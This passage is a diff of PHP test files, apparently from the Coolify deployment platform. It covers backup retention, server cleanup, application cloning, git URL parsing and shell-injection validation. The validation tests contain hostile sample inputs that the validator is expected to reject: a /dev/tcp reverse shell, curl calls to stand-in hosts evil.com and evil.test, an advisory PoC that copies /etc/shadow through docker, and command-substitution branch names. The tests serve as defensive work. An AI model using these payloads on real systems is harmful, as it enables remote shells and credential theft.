->update(['created_at' => now()->subMinutes(30)]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$method = $reflection->getMethod('markStaleExecutionsAsFailed');
$method->invoke($job);
$recentExecution->refresh();
expect($recentExecution->status)->toBe('running');
expect($recentExecution->finished_at)->toBeNull();
});
// --- Decimal cast on ScheduledDatabaseBackup model ---
test('scheduled database backup model casts max storage fields to float', function () {
$model = new ScheduledDatabaseBackup;
$casts = $model->getCasts();
expect($casts)->toHaveKey('database_backup_retention_max_storage_locally');
expect($casts['database_backup_retention_max_storage_locally'])->toBe('float');
expect($casts)->toHaveKey('database_backup_retention_max_storage_s3');
expect($casts['database_backup_retention_max_storage_s3'])->toBe('float');
});
test('max storage retention field returns float zero that passes strict comparison', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
'database_backup_retention_max_storage_locally' => 0,
]);
$backup->refresh();
// With the float cast, strict comparison to 0.0 works
expect($backup->database_backup_retention_max_storage_locally)->toBe(0.0);
// And loose comparison to int 0 also works
expect($backup->database_backup_retention_max_storage_locally == 0)->toBeTrue();
});
// --- Periodic retention enforcement in CleanupInstanceStuffsJob ---
test('cleanup instance stuffs job calls retention enforcement without errors', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'enabled' => true,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
'database_backup_retention_amount_locally' => 1,
]);
// Create 3 successful executions
foreach (range(1, 3) as $i) {
ScheduledDatabaseBackupExecution::create([
'uuid' => "exec-uuid-{$i}",
'database_name' => 'test_db',
'filename' => "/backup/test_{$i}.dmp",
'scheduled_database_backup_id' => $backup->id,
'status' => 'success',
'size' => 1024,
'local_storage_deleted' => false,
'created_at' => now()->subDays($i),
]);
}
Cache::forget('backup-retention-enforcement');
// Should not throw — the job gracefully handles missing servers
$job = new CleanupInstanceStuffsJob;
$job->handle();
// All 3 executions should still exist (no server to delete files from)
expect($backup->executions()->count())->toBe(3);
});
test('deleteOldBackupsLocally identifies correct backups for deletion by retention count', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'enabled' => true,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
'database_backup_retention_amount_locally' => 1,
]);
foreach (range(1, 3) as $i) {
$exec = ScheduledDatabaseBackupExecution::create([
'uuid' => "exec-uuid-{$i}",
'database_name' => 'test_db',
'filename' => "/backup/test_{$i}.dmp",
'scheduled_database_backup_id' => $backup->id,
'status' => 'success',
'size' => 1024,
'local_storage_deleted' => false,
]);
ScheduledDatabaseBackupExecution::where('id', $exec->id)
->update(['created_at' => now()->subDays($i)]);
}
// Test the selection logic directly
$successfulBackups = $backup->executions()
->where('status', 'success')
->where('local_storage_deleted', false)
->orderBy('created_at', 'desc')
->get();
$retentionAmount = $backup->database_backup_retention_amount_locally;
$backupsToDelete = $successfulBackups->skip($retentionAmount);
// exec-uuid-1 is newest (1 day ago), exec-uuid-2 and exec-uuid-3 should be deleted
expect($backupsToDelete)->toHaveCount(2);
expect($successfulBackups->first()->uuid)->toBe('exec-uuid-1');
});
test('cleanup instance stuffs job throttles retention enforcement via cache', function () {
Cache::forget('backup-retention-enforcement');
$job = new CleanupInstanceStuffsJob;
$job->handle();
// The cache key should now exist
expect(Cache::has('backup-retention-enforcement'))->toBeTrue();
// Running again should skip retention enforcement (cache hit)
// We verify by checking the lock is still held — no error thrown
$job->handle();
expect(Cache::has('backup-retention-enforcement'))->toBeTrue();
});
@@ -0,0 +1,71 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
InstanceSettings::unguarded(function () {
InstanceSettings::query()->create([
'id' => 0,
'is_registration_enabled' => true,
]);
});
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'name' => 'Pure Dockerfile Example',
'status' => 'running',
]);
});
it('hides the breadcrumb trail on mobile while keeping the current status visible', function () {
$response = $this->get(route('project.application.configuration', [
'project_uuid' => $this->project->uuid,
'environment_uuid' => $this->environment->uuid,
'application_uuid' => $this->application->uuid,
]));
$response->assertSuccessful();
$response->assertSee('flex min-w-0 flex-col gap-1 md:hidden', false);
$response->assertSee('flex min-w-0 items-center text-xs text-neutral-400', false);
$response->assertSee('hidden flex-wrap items-center gap-y-1 md:flex', false);
$response->assertSee('flex flex-wrap items-center gap-1', false);
$response->assertSee(
'scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible',
false,
);
$response->assertSee('shrink-0', false);
$response->assertSee('Actions');
$response->assertSee('dropdown-item-touch', false);
$response->assertSee('hidden flex-wrap items-center gap-2 md:flex', false);
$response->assertSee('window.innerWidth >= 768', false);
$response->assertSee(':style="panelStyles"', false);
$response->assertSee('absolute top-full z-50 mt-1 min-w-max max-w-[calc(100vw-1rem)] md:top-0 md:mt-6', false);
$response->assertSee('Pure Dockerfile Example');
$response->assertSee('Running');
$response->assertSee('pt-2 pb-4 md:pb-10', false);
expect($response->getContent())->not->toContain('hidden pt-2 pb-10 md:flex');
});
@@ -111,6 +111,29 @@ describe('Buildpack Switching Cleanup', function () {
expect($application->dockerfile)->toBeNull();
});
test('clears dockerfile fields when switching from dockerfile to railpack', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'dockerfile',
'dockerfile' => 'FROM node:18',
'dockerfile_location' => '/Dockerfile',
'dockerfile_target_build' => 'production',
'custom_healthcheck_found' => true,
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->set('buildPack', 'railpack')
->call('updatedBuildPack');
$application->refresh();
expect($application->build_pack)->toBe('railpack');
expect($application->dockerfile)->toBeNull();
expect($application->dockerfile_location)->toBeNull();
expect($application->dockerfile_target_build)->toBeNull();
expect($application->custom_healthcheck_found)->toBeFalse();
});
test('clears dockerfile fields when switching from dockerfile to dockercompose', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
config(['constants.coolify.self_hosted' => true]);
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 50,
'unreachable_notification_sent' => true,
'updated_at' => now()->subDays(8),
]);
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
// IP must be preserved — never overwritten on self-hosted.
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeTrue();
});
it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
config(['constants.coolify.self_hosted' => false]);
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
@@ -30,12 +53,13 @@ it('does not clean up servers with unreachable_count less than 3', function () {
'updated_at' => now()->subDays(8),
]);
$originalIp = $server->ip;
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
it('does not clean up servers updated within 7 days', function () {
@@ -47,12 +71,13 @@ it('does not clean up servers updated within 7 days', function () {
'updated_at' => now()->subDays(3),
]);
$originalIp = $server->ip;
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
it('does not clean up servers without notification sent', function () {
@@ -64,10 +89,11 @@ it('does not clean up servers without notification sent', function () {
'updated_at' => now()->subDays(8),
]);
$originalIp = $server->ip;
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
@@ -0,0 +1,78 @@
<?php
use App\Models\Server;
use App\Models\Subscription;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('sets unreachable fields on servers when subscription ends', function () {
$team = Team::factory()->create();
Subscription::create([
'team_id' => $team->id,
'stripe_invoice_paid' => true,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 0,
'unreachable_notification_sent' => false,
]);
$team->subscriptionEnded();
$server->refresh();
expect($server->unreachable_count)->toBe(3);
expect($server->unreachable_notification_sent)->toBeTrue();
});
it('cleans up unsubscribed server IP after 7 days via cleanup command', function () {
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 3,
'unreachable_notification_sent' => true,
'updated_at' => now()->subDays(8),
]);
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
expect($server->ip)->toBe('1.2.3.4');
});
it('does not clean up unsubscribed server IP within 7 day grace period', function () {
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 3,
'unreachable_notification_sent' => true,
'updated_at' => now()->subDays(3),
]);
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
expect((string) $server->ip)->toBe($originalIp);
});
it('does not affect servers with active subscriptions', function () {
$team = Team::factory()->create();
Subscription::create([
'team_id' => $team->id,
'stripe_invoice_paid' => true,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 0,
'unreachable_notification_sent' => false,
]);
$originalCount = $server->unreachable_count;
$originalNotification = $server->unreachable_notification_sent;
expect($originalCount)->toBe(0);
expect($originalNotification)->toBeFalse();
});
@@ -0,0 +1,160 @@
<?php
use App\Models\Application;
use App\Models\ApplicationPreview;
use App\Models\ApplicationSetting;
use App\Models\Environment;
use App\Models\LocalPersistentVolume;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = $this->server->standaloneDockers()->firstOrFail();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'redirect' => 'both',
]);
$this->application->settings->fill([
'is_container_label_readonly_enabled' => false,
])->save();
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
test('cloning application generates new uuid for persistent volumes', function () {
$volume = LocalPersistentVolume::create([
'name' => $this->application->uuid.'-data',
'mount_path' => '/data',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$originalUuid = $volume->uuid;
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$clonedVolume = $newApp->persistentStorages()->first();
expect($clonedVolume)->not->toBeNull();
expect($clonedVolume->uuid)->not->toBe($originalUuid);
expect($clonedVolume->mount_path)->toBe('/data');
});
test('cloning application with multiple persistent volumes generates unique uuids', function () {
$volume1 = LocalPersistentVolume::create([
'name' => $this->application->uuid.'-data',
'mount_path' => '/data',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$volume2 = LocalPersistentVolume::create([
'name' => $this->application->uuid.'-config',
'mount_path' => '/config',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$clonedVolumes = $newApp->persistentStorages()->get();
expect($clonedVolumes)->toHaveCount(2);
$clonedUuids = $clonedVolumes->pluck('uuid')->toArray();
$originalUuids = [$volume1->uuid, $volume2->uuid];
// All cloned UUIDs should be unique and different from originals
expect($clonedUuids)->each->not->toBeIn($originalUuids);
expect(array_unique($clonedUuids))->toHaveCount(2);
});
test('cloning application reassigns settings to the cloned application', function () {
$this->application->settings->fill([
'is_static' => true,
'is_spa' => true,
'is_build_server_enabled' => true,
])->save();
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$sourceSettingsCount = ApplicationSetting::query()
->where('application_id', $this->application->id)
->count();
$clonedSettings = ApplicationSetting::query()
->where('application_id', $newApp->id)
->first();
expect($sourceSettingsCount)->toBe(1)
->and($clonedSettings)->not->toBeNull()
->and($clonedSettings?->application_id)->toBe($newApp->id)
->and($clonedSettings?->is_static)->toBeTrue()
->and($clonedSettings?->is_spa)->toBeTrue()
->and($clonedSettings?->is_build_server_enabled)->toBeTrue();
});
test('cloning application reassigns scheduled tasks and previews to the cloned application', function () {
$scheduledTask = ScheduledTask::create([
'uuid' => 'scheduled-task-original',
'application_id' => $this->application->id,
'team_id' => $this->team->id,
'name' => 'nightly-task',
'command' => 'php artisan schedule:run',
'frequency' => '* * * * *',
'container' => 'app',
'timeout' => 120,
]);
$preview = ApplicationPreview::create([
'uuid' => 'preview-original',
'application_id' => $this->application->id,
'pull_request_id' => 123,
'pull_request_html_url' => 'https://example.com/pull/123',
'fqdn' => 'https://preview.example.com',
'status' => 'running',
]);
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$clonedTask = ScheduledTask::query()
->where('application_id', $newApp->id)
->first();
$clonedPreview = ApplicationPreview::query()
->where('application_id', $newApp->id)
->first();
expect($clonedTask)->not->toBeNull()
->and($clonedTask?->uuid)->not->toBe($scheduledTask->uuid)
->and($clonedTask?->application_id)->toBe($newApp->id)
->and($clonedTask?->team_id)->toBe($this->team->id)
->and($clonedPreview)->not->toBeNull()
->and($clonedPreview?->uuid)->not->toBe($preview->uuid)
->and($clonedPreview?->application_id)->toBe($newApp->id)
->and($clonedPreview?->status)->toBe('exited');
});
+449 -2
View File
@@ -1,6 +1,9 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Rules\ValidGitBranch;
use App\Support\ValidationPatterns;
describe('deployment job path field validation', function () {
@@ -127,6 +130,38 @@ describe('deployment job path field validation', function () {
});
describe('API validation rules for path fields', function () {
test('git_branch validation rejects shell metacharacters', function (string $branch) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $branch],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeTrue();
})->with([
'backtick command substitution' => 'main`id`',
'dollar command substitution' => 'main$(id)',
'semicolon command separator' => 'main;id',
'ifs shell expansion' => 'main${IFS}id',
'space separator' => 'main branch',
]);
test('git_branch validation allows safe branch names', function (string $branch) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $branch],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeFalse();
})->with([
'main',
'feature/safe-branch',
'release_2026.06',
]);
test('dockerfile_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
@@ -183,6 +218,68 @@ describe('API validation rules for path fields', function () {
});
});
describe('deployment git command escaping', function () {
test('ls-remote command shell-quotes repository and ref arguments', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$instance = $job->newInstanceWithoutConstructor();
foreach ([
'customPort' => 22,
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
] as $property => $value) {
$reflectionProperty = $job->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($instance, $value);
}
$method = $job->getMethod('gitLsRemoteCommand');
$method->setAccessible(true);
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
expect($command)
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
->toContain('-i /root/.ssh/id_rsa')
->not->toContain('repo.git; curl');
});
test('coolify branch shell assignment is quoted', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$instance = $job->newInstanceWithoutConstructor();
$application = new Application;
$application->uuid = 'app-uuid';
$application->git_branch = 'main`id`';
$application->fqdn = null;
$application->compose_parsing_version = '3';
$settings = new ApplicationSetting;
$settings->include_source_commit_in_build = false;
$application->setRelation('settings', $settings);
foreach ([
'application' => $application,
'commit' => 'HEAD',
'pull_request_id' => 0,
] as $property => $value) {
$reflectionProperty = $job->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($instance, $value);
}
$method = $job->getMethod('set_coolify_variables');
$method->setAccessible(true);
$method->invoke($instance);
$coolifyVariables = $job->getProperty('coolify_variables');
$coolifyVariables->setAccessible(true);
expect($coolifyVariables->getValue($instance))
->toContain("COOLIFY_BRANCH='main`id`' ")
->toContain('COOLIFY_RESOURCE_UUID=app-uuid ');
});
});
describe('sharedDataApplications rules survive array_merge in controller', function () {
test('docker_compose_location safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
@@ -414,7 +511,7 @@ describe('docker_compose_custom_command validation', function () {
expect($validator->fails())->toBeTrue();
});
test('rejects single quotes in docker_compose_custom_start_command', function () {
test('allows single-quoted arguments in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
@@ -422,7 +519,7 @@ describe('docker_compose_custom_command validation', function () {
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
expect($validator->fails())->toBeFalse();
});
test('allows double quotes in docker_compose_custom_start_command', function () {
@@ -474,6 +571,127 @@ describe('docker_compose_custom_command validation', function () {
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
->toBe('docker compose up -d --build');
});
test('rejects bare ampersand PoC payload (GHSA-chg4-63hm-xv9x)', function () {
$rules = sharedDataApplications();
$payload = 'true & docker run --rm -v /:/h alpine sh -c "cp /h/etc/shadow /h/tmp/leak"';
$validator = validator(
['docker_compose_custom_start_command' => $payload],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects bare ampersand across every shell-safe field', function ($field) {
$rules = sharedDataApplications();
$validator = validator(
[$field => 'cmd1 & cmd2'],
[$field => $rules[$field]]
);
expect($validator->fails())->toBeTrue();
})->with([
'install_command',
'build_command',
'start_command',
'docker_compose_custom_build_command',
'docker_compose_custom_start_command',
'custom_docker_run_options',
]);
test('rejects command substitution inside double quotes', function ($payload) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => "echo $payload"],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
})->with(['"$(whoami)"', '"`whoami`"']);
test('rejects unbalanced quotes', function ($payload) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $payload],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
})->with(['echo "unterminated', "echo 'unterminated"]);
test('rejects backslash anywhere', function ($payload) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $payload],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
})->with(['echo \\;', 'echo \\$HOME']);
test('runtime validateShellSafeCommand rejects bare ampersand payload', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateShellSafeCommand');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'true & whoami', 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
});
test('allows logical OR chaining', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $cmd],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'make build || make clean',
'npm run build || npm run fallback',
'cmd-a || cmd-b && cmd-c',
]);
test('allows glob and bang tokens', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $cmd],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'rm *.tmp',
'cp src/?.js dist/',
'! grep -q foo && echo missing',
'docker build --tag app-v1!',
]);
test('rejects bare pipe even though || is allowed', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $cmd],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
})->with([
'cmd | cat',
'cmd|cat',
'a |b',
'a| b',
]);
});
describe('custom_docker_run_options validation', function () {
@@ -512,6 +730,10 @@ describe('custom_docker_run_options validation', function () {
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
'--privileged --init',
'--memory=512m --cpus=2',
'--entrypoint "sh -c \'npm start\'"',
'--entrypoint "sh -c \'php artisan schedule:work\'"',
'--hostname "my-host"',
'--dns 10.0.0.10 --dns=1.1.1.1',
]);
});
@@ -672,3 +894,228 @@ describe('API route middleware for deploy actions', function () {
expect($middleware)->toContain('api.ability:deploy');
});
});
describe('install/build/start command validation', function () {
test('rejects semicolon injection in install_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => 'npm install; curl evil.com'],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects pipe injection in build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => 'npm run build | curl evil.com'],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['start_command' => 'npm start $(whoami)'],
['start_command' => $rules['start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects backtick injection in install_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => 'npm install `whoami`'],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects dollar sign in build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => 'npm run build $HOME'],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects reverse shell payload in install_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects newline injection in start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['start_command' => "npm start\ncurl evil.com"],
['start_command' => $rules['start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid install commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => $cmd],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'npm install',
'yarn install --frozen-lockfile',
'pip install -r requirements.txt',
'bun install',
'pnpm install --no-frozen-lockfile',
]);
test('allows valid build commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $cmd],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'npm run build',
'cargo build --release',
'go build -o main .',
'yarn build && yarn postbuild',
'make build',
]);
test('allows valid start commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['start_command' => $cmd],
['start_command' => $rules['start_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'npm start',
'node server.js',
'python main.py',
'java -jar app.jar',
'./start.sh',
]);
test('allows null values for command fields', function ($field) {
$rules = sharedDataApplications();
$validator = validator(
[$field => null],
[$field => $rules[$field]]
);
expect($validator->fails())->toBeFalse();
})->with(['install_command', 'build_command', 'start_command']);
});
describe('install/build/start command rules survive array_merge in controller', function () {
test('install_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['install_command'])->toBeArray();
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('build_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['build_command'])->toBeArray();
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('start_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['start_command'])->toBeArray();
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
describe('git_branch validation rules survive array_merge in controller', function () {
test('git_branch uses ValidGitBranch in shared application rules', function () {
$rules = sharedDataApplications();
expect($rules['git_branch'])->toBeArray();
expect(collect($rules['git_branch'])->contains(fn ($rule) => $rule instanceof ValidGitBranch))->toBeTrue();
});
test('git_branch rejects shell metacharacter payloads', function (string $payload) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $payload],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeTrue();
})->with([
'semicolon command separator' => 'main;touch /tmp/pwned;#',
'command substitution' => 'main$(touch /tmp/pwned)',
'backtick substitution' => 'main`touch /tmp/pwned`',
'pipe operator' => 'main|id',
'newline injection' => "main\ntouch /tmp/pwned",
'redirect operator' => 'main>/tmp/pwned',
'single quote breakout' => "main';id;#",
]);
test('git_branch accepts safe branch names', function (string $branch) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $branch],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeFalse();
})->with([
'main',
'feature/my-branch',
'release_1.2.3',
]);
});
+3
View File
@@ -17,6 +17,7 @@ it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compo
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 42,
'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
'docker_compose_domains' => $application->docker_compose_domains,
]);
@@ -41,6 +42,7 @@ it('populates fqdn with multiple domains from multiple services', function () {
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 7,
'pull_request_html_url' => 'https://github.com/example/repo/pull/7',
'docker_compose_domains' => $application->docker_compose_domains,
]);
@@ -66,6 +68,7 @@ it('sets fqdn to null when no domains are configured', function () {
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 99,
'pull_request_html_url' => 'https://github.com/example/repo/pull/99',
'docker_compose_domains' => $application->docker_compose_domains,
]);
+44
View File
@@ -60,3 +60,47 @@ test('convertGitUrlsForSourceAndSshUrlWithCustomPort', function () {
'port' => '766',
]);
});
test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPort', function () {
$result = convertGitUrl('ssh://git@192.168.56.11:22222/User/Repo.git', 'source', null);
expect($result)->toBe([
'repository' => 'ssh://git@192.168.56.11:22222/User/Repo.git',
'port' => '22222',
]);
});
test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPortAndIpv6Host', function () {
$result = convertGitUrl('ssh://git@[2001:db8::10]:22222/group/project.git', 'source', null);
expect($result)->toBe([
'repository' => 'ssh://git@[2001:db8::10]:22222/group/project.git',
'port' => '22222',
]);
});
test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPort', function () {
$githubApp = new GithubApp([
'html_url' => 'https://github.example.com',
'custom_user' => 'git',
'custom_port' => 22222,
]);
$result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
expect($result)->toBe([
'repository' => 'ssh://git@github.example.com:22222/andrasbacsai/coolify-examples.git',
'port' => '22222',
]);
});
test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPortAndIpv6Host', function () {
$githubApp = new GithubApp([
'html_url' => 'https://[2001:db8::10]',
'custom_user' => 'git',
'custom_port' => 22222,
]);
$result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
expect($result)->toBe([
'repository' => 'ssh://git@[2001:db8::10]:22222/andrasbacsai/coolify-examples.git',
'port' => '22222',
]);
});
@@ -0,0 +1,138 @@
<?php
use App\Livewire\Project\Database\CreateScheduledBackup;
use App\Models\Environment;
use App\Models\Project;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
function createDatabaseForScheduledBackupTest(Team $team): StandalonePostgresql
{
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return StandalonePostgresql::create([
'name' => 'pg-scheduled-backup-validation',
